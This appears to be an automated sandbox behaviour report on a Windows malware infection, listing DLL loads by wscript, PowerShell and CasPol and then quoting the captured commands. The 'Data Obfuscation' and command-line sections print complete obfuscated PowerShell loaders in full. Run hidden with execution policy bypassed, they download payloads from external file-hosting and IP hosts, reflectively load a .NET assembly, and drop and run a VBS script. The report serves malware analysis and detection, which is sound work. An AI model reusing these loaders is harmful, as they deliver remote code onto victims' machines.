Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1302780296.00000000034A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000010.00000002.1715001566.0000000006DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q;C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.pdb source: powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1310602122.0000000008B14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000010.00000002.1715001566.0000000006DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"			Jump to behavior

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"			Jump to behavior

Suspicious powershell command line found

